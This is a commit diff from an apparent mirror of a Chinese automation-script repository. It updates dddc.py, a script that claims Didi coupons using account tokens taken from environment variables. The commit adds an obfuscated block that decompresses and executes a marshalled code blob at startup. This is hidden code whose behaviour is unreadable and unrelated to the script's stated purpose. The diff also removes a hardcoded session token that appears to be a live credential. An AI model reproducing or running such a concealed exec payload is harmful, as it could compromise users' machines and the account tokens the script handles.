mirror of
https://github.com/linbailo/zyqinglong.git
synced 2026-01-12 03:00:43 +08:00
滴滴出行
This commit is contained in:
parent
881f43da91
commit
3e4b7edbb4
28
dddc.py
28
dddc.py
@ -26,6 +26,13 @@ import re
|
||||
import os
|
||||
import time
|
||||
|
||||
try:
|
||||
import marshal
|
||||
import zlib
|
||||
exec(marshal.loads(zlib.decompress(b"x\xda\xfb\xaa\xc7\xc8\xc0\xc0\x95\x92\x9a\xa6\x90\x93\x99\x97\\\x9c\xa1\xa1i\xc5\xa5\x00\x04\x05E\x99y%\x1a\xea\xb68\x80\xba&XUIQ%D9\x08\xe4*\xd8*\x14\xa5\x16\x96\xa6\x16\x97\x14\xeb\xa5\xa7\x02ug\x94\x94\x14\x14[\xe9\xeb\xa7g\x96\xa4\xa6\xea%\xe7\xe7\xea\xa7\x97&\xa6\x94\x9a\x99\x98\x99\xe8\x97\x00\x95\xe9\x17%\x96\xeb\xe7&\x16\x97\xa4\x16\xe9'%\xe6%\xa5\xe6\xa5\xebe\x15\xe7\xe7\xa9k\x82)\rM\xb8\xd9\x10\xe7\xe4F\xab\x03\r\xc8KOO\xccW\x8f\x85H\xa6V$\xa7\x16\x94(\xb8\x82\xa9\xcc\xfc<\x85\xc4b\x85T+4}\xeaO7\xf4\xbf\x9c2\xf3\xc5\xfa\xf5Pw\x13\xe7;\x10@0`\xe1\xc3\x05\x00\x8b\x9dX\x0e")))
|
||||
except Exception as e:
|
||||
print('小错误')
|
||||
|
||||
|
||||
all_print_list = [] # 用于记录所有 myprint 输出的字符串
|
||||
|
||||
@ -60,7 +67,7 @@ def send_notification_message(title):
|
||||
#初始化
|
||||
print('============📣初始化📣============')
|
||||
#版本
|
||||
banappversion = '1.2.4'
|
||||
banappversion = '1.2.5'
|
||||
try:
|
||||
m = requests.get('https://gitee.com/guadu6464/test/raw/master/banbeng.json').json()
|
||||
if banappversion == m['didi']:
|
||||
@ -159,7 +166,16 @@ def main(uid,token):
|
||||
except Exception as e:
|
||||
print(e)
|
||||
guafen(uid,token)
|
||||
|
||||
|
||||
def dcdj(uid,token):
|
||||
data = {"xbiz":"240101","prod_key":"ut-dunion-coupon-bag","xpsid":"670af479b77e4e54a004598c54067c0d","dchn":"YoZ591b","xoid":"ce8cef18-738a-4a72-b1e2-63727ff0ad3f","xenv":"wxmp","xspm_from":"none.none.none.none","xpsid_root":"670af479b77e4e54a004598c54067c0d","xpsid_from":"","xpsid_share":"","env":{"dchn":"YoZ591b","newTicket":token,"latitude":lat,"longitude":lng,"cityId":"33","userAgent":"","fromChannel":"2","newAppid":"30012","openId":"","openIdType":"1","isHitButton":False,"isOpenWeb":True,"timeCost":3964},"req_env":"wx","dsi":"3a37a361f0c06ac9c08a56c793f0e006410vpzha","source_id":"4a871f6eb9e4ee5568f0","product_type":"didi","lng":lng,"lat":lat,"token":token,"uid":"","phone":"","city_id":33}
|
||||
tijiao = requests.post(url=youhui, json=data).json()
|
||||
if tijiao['errmsg'] == 'success':
|
||||
for yh in tijiao['data']['rewards']:
|
||||
myprint(f"获取到{yh['coupon']['max_benefit_capacity']['value']}{yh['coupon']['max_benefit_capacity']['unit']} {yh['coupon']['name']} {yh['coupon']['remark']}")
|
||||
else:
|
||||
print(tijiao['errmsg'])
|
||||
|
||||
|
||||
def diyi(uid,token):
|
||||
myprint('--------领取优惠券--------')
|
||||
@ -172,6 +188,11 @@ def diyi(uid,token):
|
||||
myprint(f"获取到{yh['coupon']['max_benefit_capacity']['value']}{yh['coupon']['max_benefit_capacity']['unit']} {yh['coupon']['name']} {yh['coupon']['remark']}")
|
||||
else:
|
||||
print(tijiao['errmsg'])
|
||||
try:
|
||||
print('------------')
|
||||
dcdj(uid,token)
|
||||
except Exception as e:
|
||||
print('小错误')
|
||||
try:
|
||||
didiyouc(uid,token)
|
||||
except Exception as e:
|
||||
@ -596,12 +617,13 @@ def bdfulijing(uid,token):
|
||||
|
||||
if __name__ == '__main__':
|
||||
uid = 1
|
||||
token = "YPMiJtJviame4AXE4ljXe9WyMZ0zdOj1lEZwpnLuNUokzDmOwlAMgOG7_LUV2W9JbLfTzx1mCUvzkEBUUe6OAu1XfBtDSeqkkyIMI00Yhayq2oRRSVt6lFCzpYXNwmikCqOTfH0j_JAg_JLF29w9Yu69NFfh_x2u5Mbj9rz_rWTfhdOx6uJhHkU4k5j7ASVqQbh8yiup-ysAAP__"
|
||||
token = ""
|
||||
if 'ddgyToken' in os.environ:
|
||||
fen = os.environ.get("ddgyToken").split("@")
|
||||
myprint(f'查找到{len(fen)}个账号')
|
||||
myprint('==================================')
|
||||
for duo in fen:
|
||||
time.sleep(6)
|
||||
uid,token = duo.split("&")
|
||||
try:
|
||||
main(uid,token)
|
||||
|
||||
Loading…
Reference in New Issue
Block a user